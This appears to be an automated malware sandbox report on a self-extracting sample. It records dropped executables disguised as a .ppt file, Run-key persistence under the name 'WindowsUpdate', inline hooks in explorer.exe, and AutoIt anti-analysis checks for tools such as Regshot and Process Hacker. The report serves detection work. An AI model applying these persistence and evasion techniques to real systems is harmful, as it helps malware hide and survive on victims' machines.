              Source: C:\Windows\SysWOW64\cmmon32.exeSection loaded: cmutil.dll
              Source: C:\Windows\SysWOW64\cmmon32.exeSection loaded: version.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wsock32.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: version.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: winmm.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: mpr.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wininet.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: userenv.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: sspicli.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wldp.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: apphelp.dll
              Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: iphlpapi.dll
              Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: snmpapi.dll
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: mJIvCBk5vF.exeStatic file information: File size 1052450 > 1048576
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
              Source: mJIvCBk5vF.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: mJIvCBk5vF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: mJIvCBk5vF.exe
              Source: Binary string: chkdsk.pdbGCTL source: RegSvcs.exe, 00000018.00000002.2514629045.0000000000E60000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000018.00000002.2514387448.0000000000A38000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2521122638.00000000008B0000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: netstat.pdbGCTL source: RegSvcs.exe, 00000017.00000002.2521222774.0000000001C30000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2519204603.000000000137E000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522896515.0000000000A20000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000021.00000002.2801106995.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804245284.0000000000A20000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: cmmon32.pdb source: RegSvcs.exe, 0000001D.00000002.2647688786.0000000001037000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000001D.00000002.2647508110.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2651459598.0000000000860000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: netstat.pdb source: RegSvcs.exe, 00000017.00000002.2521222774.0000000001C30000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2519204603.000000000137E000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522896515.0000000000A20000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000021.00000002.2801106995.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804245284.0000000000A20000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: cmmon32.pdbGCTL source: RegSvcs.exe, 0000001D.00000002.2647688786.0000000001037000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000001D.00000002.2647508110.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2651459598.0000000000860000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: RegSvcs.pdb, source: RegSvcs.exe, 0000000F.00000000.2318235491.0000000000322000.00000002.00000001.01000000.0000000C.sdmp, explorer.exe, 00000011.00000002.4590149055.0000000010BFF000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000012.00000002.4573504340.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4575129664.0000000004DEF000.00000004.10000000.00040000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2472003980.0000000001170000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2612159299.000000000140A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2700890863.00000000018F0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: chkdsk.pdb source: RegSvcs.exe, 00000018.00000002.2514629045.0000000000E60000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000018.00000002.2514387448.0000000000A38000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2521122638.00000000008B0000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000010.00000002.2380308625.0000000001310000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2379954726.0000000004540000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.0000000004A3E000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2381808979.00000000046F7000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.00000000048A0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.000000000559E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2516484711.000000000509F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2518601260.000000000524F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.0000000005400000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002BE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2521119034.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002D7E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2518892406.0000000000743000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2646896480.0000000004C7E000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2650078509.0000000004E2D000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.000000000517E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.0000000002EE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2801121575.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.000000000307E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2802882422.0000000002D23000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000010.00000002.2380308625.0000000001310000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2379954726.0000000004540000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.0000000004A3E000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000012.00000003.2381808979.00000000046F7000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4574412680.00000000048A0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.000000000559E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2516484711.000000000509F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000003.2518601260.000000000524F000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000019.00000002.2522229503.0000000005400000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002BE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2521119034.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000002.2522921614.0000000002D7E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000001A.00000003.2518892406.0000000000743000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.0000000004FE0000.00000040.00001000.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2646896480.0000000004C7E000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000003.2650078509.0000000004E2D000.00000004.00000020.00020000.00000000.sdmp, cmmon32.exe, 0000001E.00000002.2652027829.000000000517E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.0000000002EE0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2801121575.0000000002A76000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000002.2804447916.000000000307E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000022.00000003.2802882422.0000000002D23000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: RAServer.pdb source: RegSvcs.exe, 00000010.00000002.2380950333.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.2379921181.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4573018093.0000000000470000.00000040.80000000.00040000.00000000.sdmp
              Source: Binary string: RegSvcs.pdb source: RegSvcs.exe, 0000000F.00000000.2318235491.0000000000322000.00000002.00000001.01000000.0000000C.sdmp, explorer.exe, 00000011.00000002.4590149055.0000000010BFF000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000012.00000002.4573504340.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4575129664.0000000004DEF000.00000004.10000000.00040000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2472003980.0000000001170000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2612159299.000000000140A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2700890863.00000000018F0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: RAServer.pdbGCTL source: RegSvcs.exe, 00000010.00000002.2380950333.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.2379921181.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000012.00000002.4573018093.0000000000470000.00000040.80000000.00040000.00000000.sdmp
              Source: mJIvCBk5vF.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
              Source: mJIvCBk5vF.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
              Source: mJIvCBk5vF.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
              Source: mJIvCBk5vF.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
              Source: mJIvCBk5vF.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00715D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,8_2_00715D78
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_7304671Jump to behavior
              Source: mJIvCBk5vF.exeStatic PE information: section name: .didat
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB6680 push ecx; ret 0_2_00DB6693
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB5773 push ecx; ret 0_2_00DB5786
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A8131 push ds; iretd 8_3_013A8132
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A8131 push ds; iretd 8_3_013A8132
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A9164 pushfd ; iretd 8_3_013A9165
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A9164 pushfd ; iretd 8_3_013A9165
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139914A push 0000006Ah; ret 8_3_0139914C
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139914A push 0000006Ah; ret 8_3_0139914C
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0137B002 push ebx; iretd 8_3_0137B00F
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013B03C3 push EF2477BEh; ret 8_3_013B03CE
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A940A push ebx; iretd 8_3_013A9417
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A940A push ebx; iretd 8_3_013A9417
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_01380953 push eax; ret 8_3_013809BA
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0138094A push eax; ret 8_3_01380950
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013809B4 push eax; ret 8_3_013809BA
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013808FD push eax; ret 8_3_01380950
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_01379D29 push ds; iretd 8_3_01379D2A
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AED52 push eax; ret 8_3_013AED58
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AED52 push eax; ret 8_3_013AED58
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0137AD5C pushfd ; iretd 8_3_0137AD5D
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0136AD42 push 0000006Ah; ret 8_3_0136AD44
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDBC push eax; ret 8_3_013AEDC2
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDBC push eax; ret 8_3_013AEDC2
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_01381FBE push EF2477BEh; ret 8_3_01381FC6
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_01381FC7 push EF2477BEh; ret 8_3_01381FC6
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0137AE71 push ss; ret 8_3_0137AE79
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A8131 push ds; iretd 8_3_013A8132
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A8131 push ds; iretd 8_3_013A8132
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A9164 pushfd ; iretd 8_3_013A9165
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013A9164 pushfd ; iretd 8_3_013A9165
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139914A push 0000006Ah; ret 8_3_0139914C

              Persistence and Installation Behavior

              barindex
              Uses ipconfig to lookup or modify the Windows network settings
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\llkd\gbkusncub.pptJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exeJump to dropped file
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\llkd\gbkusncub.ppt.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\AppData\Local\Temp\RegSvcs.exeJump to dropped file
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeFile created: C:\Users\user\llkd\gbkusncub.ppt.exe.exeJump to dropped file
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\llkd\gbkusncub.pptJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate

              Hooking and other Techniques for Hiding and Protection

              barindex
              Modifies the prolog of user mode functions (user mode inline hooks)
              Source: explorer.exeUser mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x87 0x7E 0xE1
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Yara detected AntiVM autoit script
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt PID: 936, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 4988, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 6904, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: gbkusncub.ppt.exe PID: 7064, type: MEMORYSTR
              Switches to a custom stack to bypass stack traces
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D324
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB4430774
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D944
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D504
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D544
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D1E4
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB4430154
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442D8A4
              Source: C:\Windows\SysWOW64\raserver.exeAPI/Special instruction interceptor: Address: 7FFDB442DA44
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513695730.00000000010CA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515904263.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514308808.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517458245.0000000001142000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
              Source: gbkusncub.ppt.exe, 00000015.00000003.2513695730.00000000010CA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515904263.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514308808.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517458245.0000000001142000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513840264.0000000001136000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXE-
              Source: gbkusncub.ppt.exe, 00000015.00000003.2515521908.00000000010A1000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515470235.0000000001098000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2415999101.0000000001074000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517165220.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.0000000001089000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513083473.0000000001096000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN0B
